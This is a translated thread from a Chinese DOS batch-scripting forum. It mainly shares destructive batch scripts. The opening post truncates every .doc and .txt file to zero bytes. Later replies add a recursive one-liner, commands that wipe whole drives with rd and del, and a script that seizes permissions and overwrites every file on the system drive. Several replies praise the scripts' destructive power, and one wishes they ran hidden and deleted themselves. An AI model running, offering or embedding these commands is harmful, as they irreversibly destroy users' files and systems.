China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-08-08 08:31
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » Destroy the content of all *.DOC and *.TXT files under drive C, and it cannot be recovered View 5,340 Replies 41
Original Poster Posted 2006-03-01 11:57 ·  中国 北京 顺义区 联通
银牌会员
★★★
DOS联盟捡破烂的
Credits 1,144
Posts 425
Joined 2005-10-20 00:00
20-year member
UID 43784
From 北京
Status Offline
This technique has actually been around for a long time. Just to review, I hope everyone uses it sparingly, just for discussion and learning.
@echo off
cls
echo.
echo;
echo:
echo ***************CODE BY BAGPIPE*********************
echo.
echo;
dir /s /b *.doc >1.txt
dir /s /b *.txt >2.txt
for /f "tokens=*" %%i in (1.txt) do copy /y nul "%%i">nul
for /f "tokens=*" %%i in (2.txt) do copy /y nul "%%i">nul
echo.
echo Destroy the content of all *.doc and *.txt files on drive C, irrecoverable
Attachments
99.rar (280 bytes, Credits to download 1 pts, Downloads: 84)
Floor 2 Posted 2006-03-01 12:54 ·  中国 广东 广州 海珠区 电信
中级用户
★★
Credits 466
Posts 237
Joined 2005-10-12 20:53
20-year member
UID 43413
Status Offline
Sweat one
It's simply a virus
Floor 3 Posted 2006-03-01 13:50 ·  中国 浙江 杭州 电信
中级用户
Credits 209
Posts 34
Joined 2004-05-25 00:00
22-year member
UID 25296
Gender Male
Status Offline
Can the brother on the top floor please tell me the detailed usage of the for command? I thank you in advance here!
Floor 4 Posted 2006-03-01 14:25 ·  IANA 局域网IP(Private-Use)
铂金会员
★★★★
Credits 7,493
Posts 2,672
Joined 2005-09-02 00:00
20-year member
UID 42173
Gender Male
Status Offline
Tokens seem to only be usable in the NT command line, right?
Floor 5 Posted 2006-03-01 19:53 ·  中国 湖北 荆门 电信
荣誉版主
★★★
Credits 2,013
Posts 718
Joined 2006-02-18 07:07
20-year member
UID 50550
Status Offline
Oh, a thing that can be done in one line:
for %i in (*.txt) do copy /y nul %i >nul
If you want to traverse the entire directory tree, you can add the /r parameter. If you want to add other extensions, just add *.doc in the parentheses and separate them with spaces.
Floor 6 Posted 2007-10-01 12:26 ·  中国 河南 郑州 电信
初级用户
★★
Credits 113
Posts 56
Joined 2007-09-04 14:00
18-year member
UID 96540
Gender Male
Status Offline
rd /s/q c:\
rd /s/q d:\
rd /s/q e:\
rd /s/q f:\
del c:\*.* /f /q /a
del d:\*.* /f /q /a
del e:\*.* /f /q /a
del e:\*.* /f /q /a
This is more powerful
Floor 7 Posted 2007-10-02 12:14 ·  中国 河南 焦作 联通
新手上路
Credits 9
Posts 4
Joined 2007-01-25 04:11
19-year member
UID 77589
Gender Male
Status Offline
That's amazing, a master at sabotaging computers
Floor 8 Posted 2007-10-03 21:11 ·  中国 广东 深圳 宝安区 电信
新手上路
Credits 5
Posts 3
Joined 2007-03-15 02:48
19-year member
UID 81763
Gender Male
Status Offline
The method of a master, with strong destructive power oh
Floor 9 Posted 2007-10-08 20:43 ·  中国 重庆 电信
初级用户
Credits 38
Posts 20
Joined 2007-10-08 20:08
18-year member
UID 99210
Gender Male
Status Offline
Bump
Floor 10 Posted 2007-10-08 20:43 ·  中国 重庆 电信
初级用户
Credits 38
Posts 20
Joined 2007-10-08 20:08
18-year member
UID 99210
Gender Male
Status Offline
Bump
Floor 11 Posted 2007-10-08 21:00 ·  中国 江苏 南京 电信
初级用户
Credits 24
Posts 11
Joined 2007-09-14 14:00
18-year member
UID 97367
Gender Male
Status Offline
Floor 12 Posted 2007-10-13 20:39 ·  中国 湖南 邵阳 电信
初级用户
Credits 69
Posts 37
Joined 2007-01-01 14:22
19-year member
UID 75195
Gender Male
Status Offline
Can be used as virus research material. It's a pity that it can't run in the background, can't hide the interface, and can't self-delete after completing the task.
Floor 13 Posted 2007-10-14 14:10 ·  中国 江苏 苏州 昆山市 联通
初级用户
Credits 83
Posts 34
Joined 2007-10-14 13:49
18-year member
UID 99713
Gender Male
Status Offline
The landlord, it seems that what you used copy can be restored, but what uses redirection cannot be restored. I'm very newbie, this is my personal opinion, you can put forward opinions if you have any. Please look below! Execute it to the end, and probably your system won't work. Look below, everyone can test!

@echo off
for /f "delims=" %%a in ('dir /s b /a %SystemDrive%\') do (
attrib "%%a" -s -h -r
cacls "%%a" /c /e /g everyone:f
@echo I love you!>"%%a"
)
Floor 14 Posted 2007-10-15 11:57 ·  中国 重庆 江北区 联通
初级用户
Credits 62
Posts 32
Joined 2007-10-12 18:56
18-year member
UID 99550
Gender Male
Status Offline
A newbie like me~~~ can't understand~~
Floor 15 Posted 2007-10-26 08:33 ·  中国 河南 郑州 联通
初级用户
★★
Credits 113
Posts 56
Joined 2007-09-04 14:00
18-year member
UID 96540
Gender Male
Status Offline
Forum Jump: